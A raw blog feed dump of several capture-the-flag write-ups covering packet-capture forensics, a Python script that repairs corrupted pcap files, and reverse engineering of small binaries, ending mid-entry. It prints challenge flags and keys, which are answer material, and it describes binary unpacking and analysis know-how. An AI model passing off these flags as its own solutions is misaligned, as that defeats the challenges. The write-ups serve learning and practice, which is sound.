 &lt;span style=&quot;font-size: xx-small;&quot;&gt;FRAME TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : Unnumbered Frame&lt;br /&gt;Flag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 7e&lt;br /&gt;Destination Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : NOCALL 60&lt;br /&gt;Source Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : OTA22&amp;nbsp; 61&lt;br /&gt;Control Field Type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : UI&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Unnumbered Information&lt;br /&gt;P/F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cc 45 00 00 8a fd d1 40 00 40 06 28 42 0a 2b 00&amp;nbsp; LE...}Q@.@.(B.+.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 01 0a 2b 00 04 9a d8 27 0f a9 fd 41 15 7a 0c d3&amp;nbsp; ..+...X&#39;.)}A.z.S&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; bd 80 18 00 08 02 ba 00 00 01 01 08 0a 04 a7 c4&amp;nbsp; =.....:.......&#39;D&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; f6 00 12 a5 e4 d4 51 d3 75 19 ef 3d 1b ce 69 2b&amp;nbsp; v..%dTQSu.o=.Ni+&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 66 dc 7a 4d 92 54 b3 f6 95 29 7e 02 87 24 8d af&amp;nbsp; f\zM.T3v.)~..$./&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 29 b9 71 76 b6 32 25 65 77 ac 61 c6 8a b7 3a db&amp;nbsp; )9qv62%ew,aF.7:[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; d6 02 96 8b fa 4a 9d 19 f1 fd 1f 10 cd 7f 39 cd&amp;nbsp; V...zJ..q}..M.9M&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; df 26 de 84 9f 1f 3f 12 35 c5 cb 56 7f cb c1 00&amp;nbsp; _&amp;amp;^...?.5EKV.KA.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 00 00 00 49 45 4e 44 ae 42 60 82&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...IEND.B`.&lt;br /&gt;FCS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 9967&amp;nbsp;&amp;nbsp;&amp;nbsp; OK&lt;br /&gt;Flag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 7e&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since there are only a few packets, we reconstructed the stream from the packets manually to get a QR-Code… &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimVT2YeEZHK2OL52J0vieBUlS8oEDYwviW4WzcWdvnjwMBqkoLe2CeY6TJCCjFETdXi-BnDIFkE-DTxGCdAmkuRIetX7VQ7qILr0rKf-K60fvvy3q1INufWPK3ON75ZtyQvjfpxrd1uVE/s1600-h/image%25255B17%25255D.png&quot;&gt;&lt;img alt=&quot;image&quot; border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAI6YJb8Iae26zLljTlASvVTkz88yuijkzo_tbd5Uwi9owm7TVPTe1ZJ9l57U1rGDZJVMaNHNc0YEltxPrVZHoB57cRCNHOlDBIU15udytR_5O1-T5yzx2bA0cQDpCXa4qKoKOKP-9SP8/?imgmax=800&quot; style=&quot;background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; title=&quot;image&quot; width=&quot;179&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
… which gives us the key: &lt;br /&gt;
The key is: 73e4geru3i21eWuypzFIueK   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/6720752578681698634/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2012/11/polictf-forensic-500.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/6720752578681698634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/6720752578681698634'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2012/11/polictf-forensic-500.html' title='WriteUp - Forensic 500 - PoliCTF'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidEqcarBShDlfskiPyvSvd1TpkhCI3VzKPJJbPHvozV2pvwewgH3xORhOB9rhC-cx65hyphenhyphenASAbsrpj5ipu2jwoT-XhLQpd66G6NG_Zlh65uzc_uRNX7HBzYTfbLx1_x4r6E2G30JZLkHM4/s72-c?imgmax=800" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-2845154466223040065</id><published>2011-08-13T16:57:00.008+02:00</published><updated>2011-08-13T19:13:45.452+02:00</updated><title type='text'>WriteUp - forensicK - ptrace.net</title><content type='html'>&lt;p align=&quot;justify&quot;&gt;After taking part in Sibctf quals, I saw a related tweet from Ptrace Security group that took me to their website, where I found this nice challenge:&lt;/p&gt;&lt;br /&gt;&lt;a href=&quot;http://ptrace.net/files/challenges/4.txt&quot;&gt;http://ptrace.net/files/challenges/4.txt&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Here is my solution, probably not the best one:&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;We are given a pcap network capture, which we can know by verifying the magic number, but when we try to open it, Wireshark says it is corrupted.  Only six packets are viewed, which we assume to be correct.&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGMAm23oLYcjU2suY7Jvye_7VGhsCjM4iuZcTLiPUjgVBkRL__OUsug0a0FpEK6HzHbqk9wYXvnFK1h0HKWOcz8IhW840TzBSNaui_E3wemk_opiYMrIQLYz6DV0if_-NjlDW3e-DESaw/s1600/errorwireshark.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 182px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGMAm23oLYcjU2suY7Jvye_7VGhsCjM4iuZcTLiPUjgVBkRL__OUsug0a0FpEK6HzHbqk9wYXvnFK1h0HKWOcz8IhW840TzBSNaui_E3wemk_opiYMrIQLYz6DV0if_-NjlDW3e-DESaw/s400/errorwireshark.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5640367416632315554&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;We open the file in 010 Editor and apply the pcap template by Didier Stevens to see what is happening.  The file fomat seems to be quite easy... just a header for the file and a little header for each packet consisting of:&lt;/p&gt;&lt;br /&gt; timestamp seconds&lt;br /&gt; timestamp microseconds&lt;br /&gt; number of octets of packet saved in file&lt;br /&gt; actual length of packet &lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;After playing for a while with 010 Editor I realized that some packets were overlapping the next ones.  The sizes reflected for each packet in the cap metadata seemed to match the ones in the IP header and TCP sequences, so I guess some bytes were deleted from the original capture, although I was not able to determine which ones for sure.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;For example, in the next image we see the 6th packet overlaps 10 bytes from the next packet.  In fact it should finish in offset 43Ch, and then begin the header for 7th packet, but according to its header, it finishes in 446h:&quot;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjawZhlWJSXvymOUqyMMTj8bsAwIsiCZqAtlAr8o8SCJ2PySjve0jWCQAkxZOry4X0nFNcUPOZ2UEF4cQW0Irzha3qZlTiRRT3k_6UstTm1MQXv1_XjhT3BQDbk2ZhIB0MCWFTBQ356NfE/s1600/overlapping.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 214px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjawZhlWJSXvymOUqyMMTj8bsAwIsiCZqAtlAr8o8SCJ2PySjve0jWCQAkxZOry4X0nFNcUPOZ2UEF4cQW0Irzha3qZlTiRRT3k_6UstTm1MQXv1_XjhT3BQDbk2ZhIB0MCWFTBQ356NfE/s400/overlapping.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5640371248545949538&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Since the metadata in the pcap file let us indicate the size of the packet that was captured, I decided to use that field to fix the file.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;The problem is that the header for each packet has no fixed token, so we must guess where each packet begins.  In this case it was not difficult because in the network capture there was only two MAC addresses involved, so we used them to identify each packet.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;I admit I did it manually the first time, but since there are more than a handful, later I made this python script.&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;import re&lt;br /&gt;import mmap&lt;br /&gt;import binascii&lt;br /&gt;from struct import *&lt;br /&gt;&lt;br /&gt;def nextframe(map, last, pat1, pat2):&lt;br /&gt;    next1=map.find(pat1,last+1)&lt;br /&gt;    next2=map.find(pat2,last+1)&lt;br /&gt;    if next1 &lt; 0:&lt;br /&gt;        if next2 &lt;0:&lt;br /&gt;            next=-1&lt;br /&gt;        else:&lt;br /&gt;            next=next2&lt;br /&gt;    else:&lt;br /&gt;        if next2 &lt; 0:&lt;br /&gt;            next=next1&lt;br /&gt;        else:&lt;br /&gt;            next=min(next1,next2)&lt;br /&gt;    return next&lt;br /&gt;&lt;br /&gt;with open(&quot;4_forensicK.bin.cap&quot;, &quot;r+&quot;) as f:&lt;br /&gt;    # memory-map the file, size 0 means whole file&lt;br /&gt;    map = mmap.mmap(f.fileno(), 0)&lt;br /&gt;    map2 = map&lt;br /&gt;    previous=0&lt;br /&gt;    next=0&lt;br /&gt;    #I only expect 1 unicast comunication on layer 2, with only IP packets&lt;br /&gt;    #so I use 2 different ethernet frame headers to locate frames&lt;br /&gt;    pat1=binascii.unhexlify(&#39;00c049d2e4640016d32987a10800&#39;)&lt;br /&gt;    pat2=binascii.unhexlify(&#39;0016d32987a100c049d2e4640800&#39;)&lt;br /&gt;    next=nextframe(map,next,pat1,pat2)&lt;br /&gt;    &lt;br /&gt;    while True:&lt;br /&gt;        previous=next&lt;br /&gt;        captnum=unpack(&#39;&amp;lt;i&#39;,map[next-8:next-4])[0]&lt;br /&gt;        next=nextframe(map,next,pat1,pat2)&lt;br /&gt;        if next!=-1:&lt;br /&gt;            distanciapaq=next-previous-16 #Each packet has a 16 byte header&lt;br /&gt;            if distanciapaq != captnum:&lt;br /&gt;                if distanciapaq &gt; captnum:&lt;br /&gt;                    print &quot;Next packet is further than expected.  There may be more layer 2 comunications.  Review manually.&quot;&lt;br /&gt;                else:&lt;br /&gt;                    #Actual packet is overlapping next one&lt;br /&gt;                    map2[previous-8:previous-4]=pack(&#39;&amp;lt;i&#39;,distanciapaq)&lt;br /&gt;                    print &#39;Cap fixed at offset&#39;, previous-8,&#39; Previous capture size&#39;, captnum, &#39;actual size&#39;, distanciapaq&lt;br /&gt;        else:&lt;br /&gt;            break&lt;br /&gt;    &lt;br /&gt;    map.close()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Be careful, it overwrites the input file.  You don&#39;t want to tamper your evidences ;-)&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;After that, I could open the file without problems, so I reviewed the connections, decoded connections to tcp port 8086 as HTTP and could see the server answers uncompressed to find the flag:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgUP8qUS7yq6iT43U6pvMBLtreftf4XsILMYq4mcxbdyXEPwOAFJoaz7jjHH_pizBvOR7t1kSFGU9SEM6dnrjkudeZPstRY1eosM9_SUtmY8GTR1_Cq4dCDXkzYtyC8fvm5fTKvZ67gBA/s1600/flag.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 196px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgUP8qUS7yq6iT43U6pvMBLtreftf4XsILMYq4mcxbdyXEPwOAFJoaz7jjHH_pizBvOR7t1kSFGU9SEM6dnrjkudeZPstRY1eosM9_SUtmY8GTR1_Cq4dCDXkzYtyC8fvm5fTKvZ67gBA/s400/flag.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5640374996747146386&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;So, the flag is: 3406654e25675f56ce7922cf5ec12952&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Of course, it could be resolved much faster just by following the hints in the http queries, visible with strings, and uncompressing the gzip streams in the answers that followed them, but we are not here for the money, you know!! ;-)&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/2845154466223040065/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/08/writeup-forensick-ptracenet.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/2845154466223040065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/2845154466223040065'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/08/writeup-forensick-ptracenet.html' title='WriteUp - forensicK - ptrace.net'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGMAm23oLYcjU2suY7Jvye_7VGhsCjM4iuZcTLiPUjgVBkRL__OUsug0a0FpEK6HzHbqk9wYXvnFK1h0HKWOcz8IhW840TzBSNaui_E3wemk_opiYMrIQLYz6DV0if_-NjlDW3e-DESaw/s72-c/errorwireshark.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-4136177452290719262</id><published>2011-07-21T00:35:00.007+02:00</published><updated>2011-07-21T01:16:59.619+02:00</updated><title type='text'>WriteUp - fatherapple - wgsbd2</title><content type='html'>&lt;p align=&quot;justify&quot;&gt;Nos proporcionan el ejecutable &lt;a href=&quot;https://sites.google.com/site/archivospentsec/sig_32&quot;&gt;sig_32&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Al ejecutarlo muestra el siguiente mensaje y se queda esperando:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdE_sp1a1OW9gI6rAl9DjCZNCtQ-FMgGMn_KVMg318g7YKFTDcATk4HFR-uu_gJg4q6kXDjH48TcqQia8VXy6dMkZDj2Ij9UIj_nbteeTB0cruoI0PmszmE3Y2asoU3Vx40IxB6HMzGEc/s1600/fatherapple_espera.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 37px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdE_sp1a1OW9gI6rAl9DjCZNCtQ-FMgGMn_KVMg318g7YKFTDcATk4HFR-uu_gJg4q6kXDjH48TcqQia8VXy6dMkZDj2Ij9UIj_nbteeTB0cruoI0PmszmE3Y2asoU3Vx40IxB6HMzGEc/s400/fatherapple_espera.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631569758730122994&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Al pulsar Ctrl-C para salir, nos da un mensaje extra:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8jog-uyR2BdwdU14h6hc8b4K9gvrhsso9kw6WDSam667Jf4fdpRpx4lPLEQbFydKgMrgVpV7UqM6VBTuAqwQkNgfRueyn6xjOgGqDJYWBbKgtkstL6oPRBegnzvrh1yZecNgjt5Eephc/s1600/fatherapple_mensaje.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 70px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8jog-uyR2BdwdU14h6hc8b4K9gvrhsso9kw6WDSam667Jf4fdpRpx4lPLEQbFydKgMrgVpV7UqM6VBTuAqwQkNgfRueyn6xjOgGqDJYWBbKgtkstL6oPRBegnzvrh1yZecNgjt5Eephc/s400/fatherapple_mensaje.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631570083464275074&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Los números que muestra cambian en cada ejecución, pero no sabemos mucho más, así que pasamos a analizarlo con IDA.  Por suerte, es un binario muy sencillo.  Vemos aquí la función principal:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMHA5J2KIm2L8E8fajvN_-eEfR7CYpk3BsHFXu_x6Y73p3TymZau4OMkyJA7RdLn9HIhyK3Y77W1OlMSlLhFbtQm9SZCxY9Se_e1BhIb1aH-IHm4faCU02k4JDpjOkSdmU-wNVA3Dr-HE/s1600/fatherapple_main.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 146px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMHA5J2KIm2L8E8fajvN_-eEfR7CYpk3BsHFXu_x6Y73p3TymZau4OMkyJA7RdLn9HIhyK3Y77W1OlMSlLhFbtQm9SZCxY9Se_e1BhIb1aH-IHm4faCU02k4JDpjOkSdmU-wNVA3Dr-HE/s400/fatherapple_main.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631572268831725394&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Podemos ver que se realiza un fork y las actividades básicas tanto del proceso padre (salida del fork distinta de cero) como del hijo.  No vemos directamente que se imprima el mensaje &quot;Hack ___ planet&quot;, pero recordamos que ha salido al pulsar Ctrl-C, por lo que debe imprimirse en el manejador de la señal, así que nos fijamos en ese punto.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Efectivamente el proceso padre está redefiniendo la señal 2 (SIGINT), por lo que asumimos que en esa función se muestra el comentado &quot;Hack ___ planet&quot;.  Por su parte, el proceso hijo redefine la señal 14 (SIGALRM) y después muestra el mensaje principal, donde vemos que los números de manzanas que nos indicaba son el pid del proceso padre y el del hijo.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Queremos ver qué hace este proceso al recibir la señal SIGALRM, así que vamos a la función legendary:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdqDu_-wy8DC_XHl0CBOVWSIaVseU7xM4_x3gd7oEXjZzubRo5p71ZuUO3Y0AfVkkSjEjyV7CTKE5CZ7N8l-DQOhIbAdspUaUCLFijy1sDvWfnLuegOh8JQyrCvi6ratBKmZqaaqe-JZU/s1600/fatherapple_legendary.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 244px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdqDu_-wy8DC_XHl0CBOVWSIaVseU7xM4_x3gd7oEXjZzubRo5p71ZuUO3Y0AfVkkSjEjyV7CTKE5CZ7N8l-DQOhIbAdspUaUCLFijy1sDvWfnLuegOh8JQyrCvi6ratBKmZqaaqe-JZU/s400/fatherapple_legendary.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631574900912061698&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Curioso... fija fflussh como el manejador de la señal 12 (SIGUSR2), espera 1 segundo y vuelve a cambiarlo a la función boobs.  Sólo por el nombre de la función, miramos primero esta última y vemos que no hace nada (¿WTF? juegan con mis sentimientos como si fuera una marioneta ;-)).  fflussh en cambio parece contener algún mensaje oculto.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Como ya estoy vago, vamos a probar si el análisis que hemos hecho hasta ahora está bien... necesitamos enviar al proceso hijo, que amablemente nos indica su pid, la señal 14, y en menos de 1 segundo (pero dándole tiempo a fijar la nueva señal) enviar la señal 12:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguO05MYgW6cL4X4iilpf0eDRqgnrqvqd3ao9Il-MifDj6t46OXuqfr5fkCeOkwJWvTaN8Z_jz5sj3FuIYDN39ANahRh3FWZzX-clBmG8NcG798nt7egPVXQBp4AUEO6vrZsnAKaed5bB8/s1600/fatherapple_resuelto.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 67px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguO05MYgW6cL4X4iilpf0eDRqgnrqvqd3ao9Il-MifDj6t46OXuqfr5fkCeOkwJWvTaN8Z_jz5sj3FuIYDN39ANahRh3FWZzX-clBmG8NcG798nt7egPVXQBp4AUEO6vrZsnAKaed5bB8/s400/fatherapple_resuelto.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631577051062889346&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;It works!!! :-)&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/4136177452290719262/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/07/writeup-fatherapple-wgsbd2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/4136177452290719262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/4136177452290719262'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/07/writeup-fatherapple-wgsbd2.html' title='WriteUp - fatherapple - wgsbd2'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdE_sp1a1OW9gI6rAl9DjCZNCtQ-FMgGMn_KVMg318g7YKFTDcATk4HFR-uu_gJg4q6kXDjH48TcqQia8VXy6dMkZDj2Ij9UIj_nbteeTB0cruoI0PmszmE3Y2asoU3Vx40IxB6HMzGEc/s72-c/fatherapple_espera.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-6509091364258110670</id><published>2011-07-20T22:24:00.005+02:00</published><updated>2011-07-20T23:48:18.989+02:00</updated><title type='text'>WriteUp - therabbit - wgsbd2</title><content type='html'>&lt;p align=&quot;justify&quot;&gt;Nos proporcionan el ejecutable &lt;a href=&quot;https://sites.google.com/site/archivospentsec/therabbit.zip&quot;&gt;therabbit.exe&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Si lo ejecutamos, descarga del servidor del reto un fichero llamado metienescontento.arj, pero en seguida vemos mediante un editor hexadecimal que es un RAR, y al intentar descomprimirlo, que tiene contraseña.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Atacar por fuerza bruta la contraseña del RAR es lentísimo, así que decidimos analizar el ejecutable porque parece lógico que contenga la contraseña para descomprimir el archivo que ha bajado.&lt;/p&gt; &lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Analizando las cadenas contenidas en el binario vemos que está comprimido con UPX:&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&gt;strings -q therabbit.exe|head&lt;br /&gt;!This program cannot be run in DOS mode.&lt;br /&gt;\&gt;%&lt;br /&gt;\&gt;J&lt;br /&gt;|)E&lt;br /&gt;\&gt;!&lt;br /&gt;Rich&lt;br /&gt;UPX0&lt;br /&gt;UPX1&lt;br /&gt;.rsrc&lt;br /&gt;3.00&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Descargamos el packer de su web &lt;a href=&quot;http://upx.sourceforge.net/&quot;&gt;http://upx.sourceforge.net/&lt;/a&gt; y lo utilizamos para extraer el binario original:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; 